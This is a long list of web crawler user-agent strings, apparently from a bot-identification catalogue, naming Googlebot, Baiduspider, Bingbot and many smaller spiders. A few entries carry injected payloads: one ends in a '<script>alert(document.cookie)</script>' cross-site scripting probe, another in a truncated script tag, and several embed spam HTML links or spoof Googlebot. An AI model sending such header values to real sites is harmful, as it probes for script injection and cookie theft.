Bot Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; obot)

Bot Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; mowserbot; http://www.mowser.com/bot)

Bot Mozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows 98; )<HTML><A%20HREF="http://www.pghco...

Bot Mozilla/4.0 (compatible; MSIE 6.0; LaBot)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows 5.1; KyoHTTP 1.1.26, http://www.Link-Checker-Pro.com)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; snprtz|S04020195552712; PeoplePal 3.0; MSIECrawler)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; BOTW)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Girafabot; girafabot at girafa dot com; http://www.girafa.com)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727; MSIECrawler)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; BOTW)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; BOTW; .NET CLR 1.1.4322)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; CIBA; MSIECrawler)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; fr_crawler)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ODP entries test; http://tuezilla.de/test-odp-entries-agent.html)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Shadow Labs E-mail Spider @ webrobber.org)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; spamrobot@126.com)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;.NET CLR 1.0.3705; ContextAd Bot 1.0)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; .NET C...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; .NET C...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; .NET C...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 6.0; SLCC1;...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 6.0; SLCC1;...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) (+http://www.googlebot.com/bot.html; MSIE 8.0; Windows NT 5.1; Triden...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; )<HTML><A%20HREF="http://www.pghconnect...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; <b>gatcha-robot</b>)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; <b>hactha-robot</b>)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; BOTW; SV1)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; BOTW; SV1; .NET CLR 1.1.4322)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; CollapsarWEB qihoobot@qihoo.net)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Crayon Crawler; SV1; SpamBlockerUtility 4.7.1)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.01/Nutch-0.8.1 (http://lucene.apache.org/nutch/about.html...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.01/Nutch-0.9 (http://lucene.apache.org/nutch/about.html; ...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; MSIECrawler)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; http://help.yahoo.com/help/us/ysearch/slurp)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Infocrawler)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Infocrawler; FunWebProducts; SV1)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MakeBelieveBot/2.0 http://www.socialanxietysupport.com/index.php)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Mirar Search Indexing Agent see getmirar.com)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Netcraft SSL Server Survey - contact abuse@netcraft.com)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50 AppEngine-Google; (+http://code.google.com/appengine; ...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Sgrunt|V109|19|S2029293198|dial; snprtz|S04673981400019; <a hr...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: 1bl...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: app...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: can...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: che...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: cno...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: d10...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: dea...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: dea...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: dec...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: den...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: ftm...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: gir...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: gkk...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: hua...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: huo...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: lun...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: mil...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: ove...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: pip...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: ppd...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: pro...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: qin...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: shi...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: sjt...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: sle...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: sma...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: tou...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: tup...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: way...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: xin...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: xmx...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: ymr...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: yon...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: zha...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: zhu...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.5...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Googlebot)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; Googlebot)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; Googlebot; .NET CLR 2.0.50...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0....

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; <a href=http://browsezilla.org>Browsezilla<...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; CrystalSemanticsBot http://www.crystalsemantics.com/service-navi...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FDM; MSIECrawler)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET CLR 2.0.50727; MSIECrawler)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iSense bot v1.21)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; LocoySpider; .NET CLR 1.1.4322; .NET CLR 2.0.50727)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET C...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; T312461; <a href=http://www.artabus.com>Artabus<...

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50215; baiduspider)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322; AdSonar Bot)

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; ....

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; Girafabot [girafa.com])

Bot Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)

Bot Mozilla/4.0 (compatible; MSIE 7.0; +http://www.google.com/bot.html; .NET CLR 2.0.50727)

Bot Mozilla/4.0 (compatible; MSIE 7.0; acedo crawler extension)

Bot Mozilla/4.0 (compatible; MSIE 7.0; AOL 8.0; Windows NT 5.1; Crayon Crawler; GTB5; SpamBlockerUtility 4.8.4; .NET CLR 2.0...

Bot Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; Googlebot)

Bot Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NE...

Bot Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0),gzi...

Bot Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; Version; Platform; <script>document...

Bot Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; <a href=http://browsezilla.org>Browsezilla</a&am...

Bot Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; BOT EFS Web Portal; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3...

Bot Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; livebot-searchsense/0.1; +http://search.msn.com/msnbot.htm)

Bot Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; StummBot; .NET CLR 2.0.50727; .NET CLR 1.1.4322)

Bot Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com

Bot Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0, Spider)

Bot Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322) Igrayka.info <a href=http://igrayka.info&a...

Bot Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)<script>alert(document.cookie)</script>

Bot Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; {CEE7196D-48A5-5D6F-E968-C530CD7AB69B}; GTB5; oops there...

Bot Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB0.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; ...

Bot Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR ...

Bot Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) AppEngine-Google; (+http://code.google.com/appengine; appid: nokianoe...

Bot Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) AppEngine-Google; (+http://code.google.com/appengine; appid: spider-u...

Bot Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR ...

Bot Mozilla/4.0 (compatible; MSIE enviable; DAUMOA 2.0; DAUM Web Robot; Daum Communications Corp., Korea; +http://ws.daum.ne...

Bot Mozilla/4.0 (compatible; MSIE enviable; DAUMOA/1.0.1; DAUM Web Robot; Daum Communications Corp., Korea; +http://ws.daum....

Bot Mozilla/4.0 (compatible; MSIE is not me; DAUMOA/1.0.0; DAUM Web Robot; Daum Communications Corp., Korea)

Bot Mozilla/4.0 (compatible; MSIE is not me; DAUMOA/1.0.1; DAUM Web Robot; Daum Communications Corp., Korea)

Bot Mozilla/4.0 (compatible; MSIE is not me; EDI/1.6.6; Edacious & Intelligent Web Robot; Daum Communications Corp., Kor...

Bot Mozilla/4.0 (compatible; MyFamilyBot/1.0; http://www.ancestry.com/learn/bot.aspx)

Bot Mozilla/4.0 (compatible; MyFamilyBot/1.0; http://www.ancestry.com/learn/bot.aspx; SearchBot@MyFamilyInc.com)

Bot Mozilla/4.0 (compatible; MyFamilyBot/1.0; http://www.myfamilyinc.com)

Bot Mozilla/4.0 (compatible; NaverBot/1.0; http://help.naver.com/customer_webtxt_02.jsp)

Bot Mozilla/4.0 (compatible; NaverBot/1.0; http://help.naver.com/delete_main.asp)

Bot Mozilla/4.0 (compatible; NaverBot/1.0; nhnbot@naver.com)

Bot Mozilla/4.0 (compatible; Netcraft Web Server Survey)

Bot Mozilla/4.0 (compatible; Rapleafbot/1.0; +http://www.rapleaf.com/contact.html;)

Bot Mozilla/4.0 (compatible; Scumbot/5.5; Linux/2.6)

Bot Mozilla/4.0 (compatible; smartBot/1.0; checking links; +http://www.botsvsbrowsers.com/SimulateUserAgent.asp)

Bot Mozilla/4.0 (compatible; T-H-U-N-D-E-R-S-T-O-N-E)

Bot Mozilla/4.0 (compatible; voodoo-it/6.0; http://www.voodoo-it.com/spider.html)

Bot Mozilla/4.0 (compatible; webcrawler/1.0)

Bot Mozilla/4.0 (JemmaTheTourist;http://www.activtourist.com)

Bot Mozilla/4.0 (MobilePhone SCP-5500/US/1.0) NetFront/3.0 MMP/2.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.ht...

Bot Mozilla/4.0 (Mozilla; http://www.mozilla.org/docs/en/bot.html; master@mozilla.com)

Bot Mozilla/4.0 (MSIE 6.5; Windows NT 6.5; x64) WebKit/4.2 Avatar/2.8 AppEngine-Google; (+http://code.google.com/appengine; ...

Bot Mozilla/4.0 (SKIZZLE! Distributed Internet Spider v1.0 - www.SKIZZLE.com)

Bot Mozilla/4.0 (Sleek Spider/1.2)

Bot Mozilla/4.0 (Toread-Crawler/1.1; +http://news.toread.cc/crawler.php)

Bot Mozilla/4.0 [en] (Ask Jeeves Corporate Spider)

Bot Mozilla/4.0 compatible ZyBorg/1.0 (wn-13.zyborg@looksmart.net; http://www.WISEnutbot.com)

Bot Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.W

Bot Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)

Bot Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)

Bot Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)

Bot Mozilla/4.0 compatible ZyBorg/1.0 (ZyBorg@WISEnutbot.com; http://www.WISEnutbot.com)

Bot Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)

Bot Mozilla/4.0(compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322) <a href=http://lezbbiyanki.info>lezb...

Bot Mozilla/4.0+(compatible;+MSIE+6.01;+Windows+NT+5.0;OnMiner+Bot+1.0;)

Bot Mozilla/4.0+(compatible;+MSIE6.0;+Windows+NT+5.1;+Maxthon;) larbin2.6.3@unspecified.mail

Bot Mozilla/4.0/Nutch-0.9

Bot Mozilla/4.0/Nutch-1.0-dev (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)

Bot Mozilla/4.04 (compatible; Dulance bot; +http://www.dulance.com/bot.jsp)

Bot Mozilla/5.0 ( compatible; SETOOZBOT/0.30 ; http://www.setooz.com/bot.html )

Bot Mozilla/5.0 ( compatible; SETOOZBOT/0.30 ; http://www.setooz.com/bot.html ; agentname at setooz dot_com )

Bot Mozilla/5.0 (+indexoffiles.com; Multimedia crawler v1.1)

Bot Mozilla/5.0 (000000000; 0; 000 000 00 0 000000; 00000; 00000000) 00000000000000 0000000000000

Bot Mozilla/5.0 (000000000; 0; 000 000 00 0; 00) 00000000000 0000000 0000 000000

Bot Mozilla/5.0 (compatable; Googlebot/2.1; +http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible ; Googlebot/2.1; +http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible/2.1;+http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible: Googlebot/2.1: +http//www.google.com/bot.html)

Bot Mozilla/5.0 (compatible:Googlebot/2.1;+http://www.google.com/bot.html)

Bot Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/spider.html) Gecko/2008032620

Bot Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/spider.html;) Gecko/2008032620

Bot Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620

Bot Mozilla/5.0 (compatible; 3F/ALL-PLA.NET webcrawler)

Bot Mozilla/5.0 (compatible; 80bot/0.71; http://www.80legs.com/spider.html;)

Bot Mozilla/5.0 (compatible; 80bot/0.71; http://www.80legs.com/spider.html;) Gecko/2008032620

Bot Mozilla/5.0 (compatible; AB-Downloads.com PAD crawler; http://www.ab-downloads.com)

Bot Mozilla/5.0 (compatible; abby/1.0; +http://www.ellerdale.com/crawler.html)

Bot Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com)

Bot Mozilla/5.0 (compatible; AboutUsBot Johnny5/2.0; +http://www.AboutUs.org/)

Bot Mozilla/5.0 (compatible; AboutUsBot/0.9; +http://www.aboutus.org/AboutUsBot)

Bot Mozilla/5.0 (compatible; ADIR Research Project; http://bradipo.net/mark) /Nutch-0.9

Bot Mozilla/5.0 (compatible; Advisorbot/1.0)/Nutch-1.2

Bot Mozilla/5.0 (compatible; Adzaarbot; +http://adzaar.com/docs/bot)

Bot Mozilla/5.0 (compatible; aiHitBot-DM/2.0.2 +http://www.aihit.com)

Bot Mozilla/5.0 (compatible; aiHitBot-DS/1.0; +http://www.aihit.com/)

Bot Mozilla/5.0 (compatible; aiHitBot/1.0-DS; +http://www.aihit.com/)

Bot Mozilla/5.0 (compatible; aiHitBot/1.0; +http://www.aihit.com/)

Bot Mozilla/5.0 (compatible; aiHitBot/2.0.2-DM +http://www.aihit.com)

Bot Mozilla/5.0 (compatible; AMZNKAssocBot/4.0)

Bot Mozilla/5.0 (compatible; AntBot/1.0; +http://www.ant.com/)

Bot Mozilla/5.0 (compatible; Apercite; +http://www.apercite.fr/robot/index.html)

Bot Mozilla/5.0 (compatible; ApptusBot/1.0; +http://www.apptus.com)

Bot Mozilla/5.0 (compatible; archive.org_bot +http://www.archive.org/details/archive.org_bot)

Bot Mozilla/5.0 (compatible; archive.org_bot/1.13.1x +http://crawler.archive.org)

Bot Mozilla/5.0 (compatible; archive.org_bot/heritrix-1.15.4 +http://www.archive.org)

Bot Mozilla/5.0 (compatible; archive.org_bot/heritrix-1.15.4 +http://www.bne.es/es/LaBNE/PreservacionDominioES/AvisoWebmaste...

Bot Mozilla/5.0 (compatible; archive_crawler/3.0.0-SNAPSHOT-20091205.013431 +http://www.archive.org/details/archive_crawler)

Bot Mozilla/5.0 (compatible; arste.info_bot/1.1; +http://www.arste.info)

Bot Mozilla/5.0 (compatible; askpeter_bot/5.0; +http://www.askpeter.info)

Bot Mozilla/5.0 (compatible; askpeter_bot/5.1; +http://countries.askpeter.info)

Bot Mozilla/5.0 (compatible; askpeter_bot/5.1; +http://www.askpeter.info)

Bot Mozilla/5.0 (compatible; askpeter_bot_5.0; +http://www.askpeter.info)

Bot Mozilla/5.0 (compatible; askpeter_jeanie_2009_bot/5.0; +http://www.askpeter.info)

Bot Mozilla/5.0 (compatible; Attribot-Feeds; http://static.attribyte.com/robotreadme.txt)

Bot Mozilla/5.0 (compatible; attributor/1.13.2 +http://www.attributor.com)

Bot Mozilla/5.0 (compatible; Baiduspider/1.0; +http://www.baidu.com/search/spider.htm)

Bot Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.htm)

Bot Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)

Bot Mozilla/5.0 (compatible; Bazbot/1.0; +http://www.bazsites.com/

Bot Mozilla/5.0 (compatible; BecomeBot/1.83; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)

Bot Mozilla/5.0 (compatible; BecomeBot/1.85; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)

Bot Mozilla/5.0 (compatible; BecomeBot/1.86; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)

Bot Mozilla/5.0 (compatible; BecomeBot/2.2.5; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)

Bot Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.be

Bot Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)

Bot Mozilla/5.0 (compatible; BecomeBot/3.0; +http://www.become.com/site_owners.html)

Bot Mozilla/5.0 (compatible; BecomeBot/3.0; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)

Bot Mozilla/5.0 (compatible; BecomeJPBot/2.3; MSIE 6.0 compatible; +http://www.become.co.jp/site_owners.html)

Bot Mozilla/5.0 (compatible; Bender; http://sites.google.com/site/bendercrawler)

Bot Mozilla/5.0 (compatible; BigSkyBot; +http://www.webshoppehosting.com/bigskybot.htm)

Bot Mozilla/5.0 (compatible; bingbot/2.0 +http://www.bing.com/bingbot.htm)

Bot Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)

Bot Mozilla/5.0 (compatible; Birubot/1.0) Gecko/2009032608 Firefox/3.0.8

Bot Mozilla/5.0 (compatible; bixolabs/1.0; +http://bixolabs.com/crawler/general; crawler@bixolabs.com)

Bot Mozilla/5.0 (compatible; bixolabs/1.0; +http://bixolabs.com/crawler/general; crawler@mail.bixolabs.com)

Bot Mozilla/5.0 (compatible; BlogRefsBot/0.1; http://www.blogrefs.com/about/bloggers)

Bot Mozilla/5.0 (compatible; BlogRefsBot/0.2.2; http://www.blogrefs.com/about/bloggers)

Bot Mozilla/5.0 (compatible; Bot-DeVille 04-37; Windows NT 6.1; Zaciesz-script 2.0; Konqueror/3.3)

Bot Mozilla/5.0 (compatible; BotTracer/2.0; +http://www.informacja.pl)

Bot Mozilla/5.0 (compatible; BuiltWith/0.1; +http://builtwith.com/bot.html)

Bot Mozilla/5.0 (compatible; BuiltWith/0.3; +http://builtwith.com/bot.html)

Bot Mozilla/5.0 (compatible; BuzzBot/1.0; http://www.buzzlogic.com)

Bot Mozilla/5.0 (compatible; Charlotte/1.0b; charlotte@betaspider.com)

Bot Mozilla/5.0 (compatible; Charlotte/1.0b; http://www.betaspider.com/)

Bot Mozilla/5.0 (compatible; CligooRobot/2.0; +http://www.cligoo.de)

Bot Mozilla/5.0 (compatible; CligooRobot/2.0; +http://www.cligoo.de/wk/technik.php)

Bot Mozilla/5.0 (compatible; crawler bot)/1.0 (bot; http://; crawler@cscinfo.com)

Bot Mozilla/5.0 (compatible; crawler/3.0.0 +http://www.notconfigured.com/)

Bot Mozilla/5.0 (compatible; crawlster/1.0b; http://www.page-store.com/)

Bot Mozilla/5.0 (compatible; DBLBot/1.0; +http://www.dontbuylists.com/)

Bot Mozilla/5.0 (compatible; Debugbot/0.7; +http://www.debugbot.com)

Bot Mozilla/5.0 (compatible; Diffbot/0.1; +http://www.diffbot.com)

Bot Mozilla/5.0 (compatible; discobot/1.0; +http://discoveryengine.com/discobot.html)

Bot Mozilla/5.0 (compatible; discobot/1.0; +http://discoveryengine.com/robot.html)

Bot Mozilla/5.0 (compatible; discobot/1.1; +http://discoveryengine.com/discobot.html

Bot Mozilla/5.0 (compatible; discobot/1.1; +http://discoveryengine.com/discobot.html)

Bot Mozilla/5.0 (compatible; DKIMRepBot/1.0; +http://www.dkim-reputation.org)

Bot Mozilla/5.0 (compatible; DNS-Digger/1.0; +http://www.dnsdigger.com)

Bot Mozilla/5.0 (compatible; Dolphin/1.0; +http://telehouse.ru/crawler.html)

Bot Mozilla/5.0 (compatible; DotBot/1.1; http://www.dotnetdotcom.org/, crawler@dotnetdotcom.org)

Bot Mozilla/5.0 (compatible; Dow Jones Searchbot)

Bot Mozilla/5.0 (compatible; EllerdaleBot/ 1.0; +http://www.ellerdale.com/crawler.html)

Bot Mozilla/5.0 (compatible; en-US; <a href='http://gnomit.com/'>Gnomit</a>) Gnomit/1.0

Bot Mozilla/5.0 (compatible; ERIPPbot; +http://eripp.com)

Bot Mozilla/5.0 (compatible; Estbot/1.0; http://www.estsoft.com/)

Bot Mozilla/5.0 (compatible; Exabot Test/3.0; +http://www.exabot.com/go/robot)

Bot Mozilla/5.0 (compatible; Exabot-Images/3.0; +http://www.exabot.com/go/robot)

Bot Mozilla/5.0 (compatible; Exabot/3.0 (BiggerBetter); +http://www.exabot.com/go/robot)

Bot Mozilla/5.0 (compatible; Exabot/3.0 (BiggerBetter/tests); +http://www.exabot.com/go/robot)

Bot Mozilla/5.0 (compatible; Exabot/3.0; +http://www.exabot.com/go/robot)

Bot Mozilla/5.0 (compatible; Ezooms/1.0; ezooms.bot@gmail.com)

Bot Mozilla/5.0 (compatible; facebook bot)

Bot Mozilla/5.0 (compatible; Falconsbot; +http://iws.seu.edu.cn/services/falcons/contact_us.jsp)

